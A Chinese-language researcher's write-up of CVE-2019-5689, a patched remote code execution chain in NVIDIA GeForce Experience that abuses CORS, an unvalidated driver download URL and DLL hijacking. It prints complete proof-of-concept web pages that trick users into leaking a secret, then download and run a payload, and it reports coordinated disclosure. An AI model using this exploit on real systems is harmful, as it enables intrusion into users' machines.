看我如何发现NVIDIA GeForce Experience代码执行漏洞

 

0x01 前言

大家好,我是来自Chengdu University of Technology的Siyuan Yi,本人是一名安全爱好者,平时喜欢搞搞逆向,玩玩CTF。不久前,我发现了我的第一个0day漏洞,此漏洞存在于NVIDIA GeForce Experience 3.20.1之前的版本,是由宽松的CORS策略和驱动程序下载链接的未验证以及Geforce Experience主程序的DLL劫持共同导致的,攻击者在精心构造的网页上欺骗用户进行少量交互后,能够在目标机器上执行任意代码,上报此漏洞至NVIDIA后,NVIDIA为此漏洞分配了CVE编号:CVE-2019-5689,同时进行公开致谢。在这篇文章中,我将分享我是如何发现我的第一个0day的,由于本人并非计算机及相关专业,文章中难免有错漏之处,望各位批评指正。

 

0x02 GeForce Experience

NVIDIA在官网上如是介绍GFE:“让您的驱动程序时刻保持最新状态、一键优化游戏设置,还可与朋友们录制游戏视频、捕捉游戏画面和直播。GeForce Experience™ 满足您的一切所需,它是 GeForce® GTX 显卡的强劲搭档。”

我个人是N卡死忠粉,而且平时也做一点深度学习方面的东西,所以NV家的这些东西安装得非常齐全。

 

0x03 正文

0x03.1 与CVE-2019-5678的不解之缘

不久前,我偶然阅读了RHINO的CVE-2019-5678漏洞分析,文章里面对提到NVIDIA GeForce Experience会启动一个WebHelper程序,这个WebHelper本质上是基于NodeJS的后台,用于支持GeForce Experience进行各项功能的调用,NVIDIA通过在请求中加入secret验证以及使用动态端口号来确保WebHelper收到的请求来自可信来源,然而却在CORS中将Access-Control-Allow-Origin设置为*,即允许所有来源,在CVE-2019-5678的漏洞分析中,secret值和端口号被存储在%LOCALAPPDATA%NVIDIA CorporationNvNodenodejs.json中,可以通过在网页上欺骗用户进行交互操作来诱使用户错误地将此文件上传,在获取到secret值和端口号后,于网页中发起XHR请求来与WebHelper进行交互,再进一步利用WebHelper中NvAutoDownload.js存在的命令注入漏洞。

文章原作者在文章最后的一句话引起了我的注意,作者原话如下:

 It appears to fix this issue NVIDIA has removed the endpoint which allows the command injection. However, they did not change the open CORS policy and the nodejs.json file remains at a static location. This means that it is still possible to interact with the GFE API through the browser using the method described in this blog.

大意如下:

NVIDIA的修复方法似乎值是将造成命令注入的端点直接删除。它们没有修复宽松的CORS策略,并且仍把nodejs.json文件存放在静态位置。所以我仍然可以用这篇文章讲的方法与GFE API端点交互

这句话深深地启发了我,既然我仍然可以与WebHelper交互,那么我可不可以在WebHelper浩如烟海的API中寻找另外的更隐蔽的漏洞点呢。

 

0x03.2 与WebHelper交互的可能性探讨

说干就干,我来到C:\Program Files (x86)\NVIDIA Corporation\NvNode目录下,此处存放的是WwebHelper所用到的一些JS文件以及一些使用C++写的node文件,进行来源验证的代码在index.js中,如下图,确实与RHINO的分析中一致:

继续寻找我所需的nodejs.json,但是一开始我就傻眼了,没错,NVIDIA“机智”地把这个nodejs.json移除了,那岂不是没啦?难道我的漏洞挖掘还没开始就要结束?必不可能,我发现GFE会往%LOCALAPPDATA%NVIDIA Corporation下的几个子文件夹里面写入一些日志,那么这些日志有没有可能泄露一些蛛丝马迹?果不其然,我没费多大力气就在NVIDIA GeForce Experience文件夹下的console.log中发现了我想找的东西,GFE好巧不巧地将secret值和端口号写进了这个日志文件里边,如下图:

但是要通过这个日志文件泄露端口号和secret值有一个条件,就是用户在之前必须手动启动一次GFE,所以要实现最理想状态下的利用,我得另找办法,在%LOCALAPPDATA%NVIDIA Corporation目录下,存在着一个NVIDIA Share文件夹,里面同样有一个console.log,只要GFE的游戏内覆盖功能处于启用状态,同样会往这个文件里写入端口号和secret值,如下图:

而这个功能是默认启用的,所以我通过这个文件泄露出的端口号和secret值来实现与WebHelper的稳定交互。

0x03.3 漏洞挖掘

要寻找漏洞,我可以从看起来比较危险或者和外部发生频繁数据交换的功能开始下手,结合GFE本身的主要功能,纵观整个WebHelper中的API,我对GFE的驱动下载API产生了兴趣,于是把主要关注点放在downloader.js中,在downloader.js中,我发现了驱动下载的API:

可以看到该API包含三个参数version,url,downloadType,这三个参数中的version代表所下载驱动的版本,不用特别关注,downloadType指下载类型,也不用特别在意,url应该就是NVIDIA提供的驱动程序下载链接了,那么如果我将此处的url替换成其他来源的文件,岂不是就能够把任意文件植入用户的机器上了?但是此时,我还不知道这个API的参数是何种格式的,不过没关系,只要在GFE中触发一次驱动下载,GFE会将所有我需要的信息都写入console.log中:

修改url是否会奏效?NVIDIA是否在此处验证了链接指向的站点?马上参考CVE-2019-5678的POC编写一段POC来试试:

<html>

<head>
    <script src="https://cdn.bootcss.com/jquery/3.3.1/jquery.min.js"></script>
</head>

<body>
    <script>
        //Send request to local GFE server
        url = "https%3a%2f%2feternallybored.org%2fmisc%2fnetcat%2fnetcat-win32-1.11.zip";

        function submitRequest(port, secret) {
            xhrUpload = new XMLHttpRequest();
            xhrUpload.open("POST", "http://127.0.0.1:" + port + "/download/v.0.1/start/233/" + url + "/1", true);
            xhrUpload.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
            xhrUpload.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
            xhrUpload.setRequestHeader("Content-Type", "text/html");
            xhrUpload.setRequestHeader("X_LOCAL_SECURITY_COOKIE", secret);
            xhrUpload.onreadystatechange = function() {
                if (xhrUpload.readyState === 4) {
                    if (xhrUpload.status == 200) {
                        console.log(xhrUpload.responseText);
                    }
                }
            }
            xhrUpload.send(null);
        }


        $(document).on('change', '.file-upload-button', function(event) {
            var reader = new FileReader();

            reader.onload = function(event) {
                var log = event.target.result;
                var pat1 = new RegExp('port": (.*?),');
                var pat2 = new RegExp('secret": "(.*?)"');
                var port = pat1.exec(log)[1];
                var secret = pat2.exec(log)[1];
                console.log(port);
                console.log(secret);
                submitRequest(port, secret);
            }

            reader.readAsText(event.target.files[0]);
        });

        //Copy text from some text field
        function myFunction() {
            var copyText = document.getElementById("myInput");
            copyText.select();
            document.execCommand("copy");

        }

        //trigger the copy and file window on ctrl press
        $(document).keydown(function(keyPressed) {
            if (keyPressed.keyCode == 17) {
                myFunction();
                document.getElementById('file-input').click();
            }
        });
    </script>
    <h2>
        Press CTRL+V+Enter
    </h2>
    <!--Hidden text box to copy text from-->

    <input type="text" value="%LOCALAPPDATA%NVIDIA CorporationNVIDIA Shareconsole.log" id="myInput" style="opacity: 0;" readonly>
    <!--file input-->
    <input id="file-input" onclick="this.value=null;" class='file-upload-button' type="file" name="name" style="display: none;" />
</body>

</html>

需要注意的是,使用驱动下载API仅仅会创建下载任务,并不保证响应时对应任务已经下载完成。特别地,由于我采用本机或局域网测试,故在测试时每次文件下载完成度几乎都为100%,不需要特意操心这个问题,如果要在远程进行利用,则应该使用查询特定任务下载进度的API进行轮询。

在POC中,需要按下Ctrl+V+Enter,按下Ctrl键时,隐藏控件里面包含的console.log路径%LOCALAPPDATA%NVIDIA CorporationNVIDIA GeForce Experienceconsole.log会被复制到剪贴板,然后打开一个文件选择对话框,此时按下V的作用是将路径粘贴到文件选择对话框中,再按Enter,console.log即被上传,通过正则匹配获取到端口号和secret值,构造XHR请求来发起文件下载,并打印Webhelper后端返回的信息,执行此POC后,可以看到控制台输出了如下内容:

可以看到WebHelper返回的内容中包含downloadedLocation字段,此字段即为文件下载路径,来到此路径,发现文件已经下载成功,如下图,证明NVIDIA并未在此处加入URL来源验证。

在之前的工作中,我已经能够将任意文件植入用户计算机,但是路径并不受控制,不过没有关系,我最终的目的是在用户机器上执行植入的文件,首先编写一个简单的poc.exe备用,功能为弹出一个MessageBox,代码如下:

#include "stdafx.h"
#include <Windows.h>

int main()
{
    MessageBoxA(NULL, "I love FRY forever.", NULL, NULL);
    return 0;
}

接下来考虑如何执行我植入的文件,此时我忽然灵光乍现,GFE本身是驱动下载安装一气呵成的,WebHelper既然提供驱动下载API,那么很可能也有驱动安装相关的API,而驱动安装就涉及到执行下载后的文件,于是马上回到WebHelper的js源码,看到一个名为DriverInstallAPI.js的文件,在里面发现驱动安装的API,如下图:

driverInstall.Start函数位于外部的DriverInstall.node中,所以接下来有请神器IDA,使用IDA载入DriverInstall.node,在导入表中找到v8::String::NewFromUtf8(v8::Isolate ,char const ,v8::String::NewStringType,int),查看交叉引用,定位到sub_1000C0D0,sub_1000C0D0函数的主要作用是绑定函数,如下图:

找到Start函数入口点sub_10010CD0,经分析得知此函数的功能是解析POST请求的一些参数,此处所解析的参数为我构造XHR请求提供了依据,如下图:

接下来我会发现貌似跟丢了2333,参数倒是解析了,但是最后是在哪里用到的呢?设想一下,驱动安装程序最后如果要得到执行,必然会调用CreateProcess或者ShellExecute之类的win32 API,那么何不先关注一下这个部分?那么按照这个思想,我很轻易就能够找到函数sub_100042CD,这是一个既调用了CreateProcessW又调用了ShellExecuteExW的函数,如下图:

在相应位置下断点,Attach到WebHelper进程,使用新构造的POC来看看,然而会发现并没有命中断点,所以往前追,发现了如下的签名检查,我自己的exe自然是通不过检查的:

接下来想想办法绕过签名检查,我继续往前追,可以发现其实在签名检查之前也有一次调用sub_100042CD的机会,只需要想办法使v1[2]不为0就可以了:

经过分析,可以发现v1[2]正是POST请求中的isPFW字段,所以应该在请求中将isPFW设置为true,然后再跑起来,终于在CreateProcessW处断下:

但是发现,此处并没有直接执行下载下来的文件,而是调用7z对下载得来的文件进行解压(non evaluate mode),解压完成后,会检查解压出来的文件中是否包含setup.exe,代码如下:

所以得继续修正我的POC,目前的想法是构造一个zip文件,内含setup.exe,将原来的poc.exe重命名为setup.exe,打包成poc.zip,再次跑起来,走完上述流程后,还是会到达签名检查的位置,程序依然会对setup.exe进行签名检查,那岂不是又没啦?不过天无绝人之路,想一想我将isPFW设置为true带来了什么变化?这使我的原语从只能植入单个文件“升级”到了能够植入多个文件,既然程序会对setup.exe进行签名检查,那好,就找一个具有NVIDIA有效签名的程序重命名为setup.exe呗,那么要如何执行代码?是的,我得想办法进行DLL劫持,DLL劫持一般不会被认为是多么严重的漏洞,但是在此处,就显得尤其关键,当然exe和DLL的选择也很有讲究,我最理想的情况是能够找到一个被有NVIDIA签名的程序加载的无签名DLL,我四处瞧了瞧,NVIDIA GeForce Experience.exe和libcef.dll看起来好像就很合适,所以使用我自己多年前写的一个DLL劫持(x64)的python脚本(参见https://github.com/InoriJam/DLL-hijack-X64 )来生成一份伪造libcef.dll的源码,源码生成完毕,将编译好的libcef.dll与setup.exe(NVIDIA GeForce Experience.exe重命名所得)一起打包成一个zip文件,再次执行,终于在ShellExecuteExW(evaluate mode)处断下,此处执行的即为setup.exe:

最后检验一下能不能成功弹出计算器,成功啦!开心!

 

0x04 POC

本地测试的POC如下:

<html>

<head>
    <script src="https://cdn.bootcss.com/jquery/3.3.1/jquery.min.js"></script>
</head>

<body>
    <script>
        //Send request to local GFE server
        function submitRequest(port, secret) {
            var xhrUpload = new XMLHttpRequest();
            //Edit the port number of http%3a%2f%2f127.0.0.1%3a8080%2fexp.zip according to the server port config(Here are 8080)
            xhrUpload.open("POST", "http://127.0.0.1:" + port + "/download/v.0.1/start/233/http%3a%2f%2f127.0.0.1%3a8080%2fexp.zip/1", true);
            xhrUpload.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
            xhrUpload.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
            xhrUpload.setRequestHeader("Content-Type", "text/html");
            xhrUpload.setRequestHeader("X_LOCAL_SECURITY_COOKIE", secret);
            xhrUpload.send(null);
            xhrUpload.onreadystatechange = function() {
                if (xhrUpload.readyState === 4) {
                    if (xhrUpload.status == 200) {
                        console.log(xhrUpload.responseText);
                        var downloadLocation = JSON.parse(xhrUpload.responseText)["downloadedLocation"];
                        var xhrExecute = new XMLHttpRequest();
                        xhrExecute.open("POST", "http://127.0.0.1:" + port + "/DriverInstall/v.0.1/Start", true);
                        xhrExecute.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
                        xhrExecute.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
                        xhrExecute.setRequestHeader("Content-Type", "text/html");
                        xhrExecute.setRequestHeader("X_LOCAL_SECURITY_COOKIE", secret);
                        xhrExecute.send(JSON.stringify({
                            'pfwLocation': downloadLocation,
                            'isPfw': true,
                            'driverLocation': downloadLocation,
                            'isCustom': false
                        }));
                        xhrExecute.onreadystatechange = function() {
                            if (xhrExecute.readyState === 4) {
                                if (xhrExecute.status == 201) {
                                    console.log(xhrExecute.responseText);
                                    console.log("should RCE");
                                }
                            }
                        }
                    }
                }
            }
        }

        $(document).on('change', '.file-upload-button', function(event) {
            var reader = new FileReader();

            reader.onload = function(event) {
                var log = event.target.result;
                var pat1 = new RegExp('port": (.*?),');
                var pat2 = new RegExp('secret": "(.*?)"');
                var port = pat1.exec(log)[1];
                var secret = pat2.exec(log)[1];
                console.log(port);
                console.log(secret);
                submitRequest(port, secret);
            }

            reader.readAsText(event.target.files[0]);
        });

        //Copy text from some text field
        function myFunction() {
            var copyText = document.getElementById("myInput");
            copyText.select();
            document.execCommand("copy");

        }

        //trigger the copy and file window on ctrl press
        $(document).keydown(function(keyPressed) {
            if (keyPressed.keyCode == 17) {
                myFunction();
                document.getElementById('file-input').click();
            }
        });
    </script>
    <h2>
        Press CTRL+V+Enter
    </h2>
    <!--Hidden text box to copy text from-->

    <input type="text" value="%LOCALAPPDATA%NVIDIA CorporationNVIDIA Shareconsole.log" id="myInput" style="opacity: 0;" readonly>
    <!--file input-->
    <input id="file-input" onclick="this.value=null;" class='file-upload-button' type="file" name="name" style="display: none;" />
</body>

</html>

为远程利用编写的POC已上传github,可以在此处找到:https://github.com/InoriJam/CVEs/tree/master/CVE-2019-5689

 

感想

这次漏洞挖掘经历,是我个人的一次成长,我第一次站在安全研究员的角度去分析问题,实现了从0到0day的突破,有感想如下:

  • 1.不要总是相信补丁已经解决了一切问题,应该总是去实际验证补丁是否实际解决了问题,
  • 2.有一说一,在本漏洞挖掘过程中,我曾无数次想过放弃,但是最后都坚持下来了,最后成功弹出计算器的那一刻,激动之情溢于言表。搞安全享受的就是这种山重水复疑无路,柳暗花明又一村,最后克服重重困难,成功exploit的快感不是么?
  • 3.如果本文能够给大家带来一些有用的东西,我就感觉非常开心了。

 

致谢

本漏洞的发现受到了David Yesland (https://twitter.com/daveysec @daveysec)发现的CVE‑2019‑5678的启发,同时POC部分参考了https://github.com/RhinoSecurityLabs/CVEs/tree/master/CVE-2019-5678

 

参考

 

时间线

  • 2019.08.06 发现漏洞
  • 2019.08.07 邮件告知NVIDIA并附带POC
  • 2019.08.21 NVIDIA确认漏洞存在
  • 2019.09.06 NVIDIA通知将在10月的第一周发布补丁
  • 2019.09.19 NVIDIA将补丁发布时间延迟到10月29日
  • 2019.10.29 NVIDIA将补丁发布时间延迟到11月的第一周
  • 2019.11.04 NVIDIA修补此漏洞
  • 2019.11.07 NVIDIA发布安全公告及公开致谢
  • 2019.11.08 本漏洞遵循CVD进行披露
(完)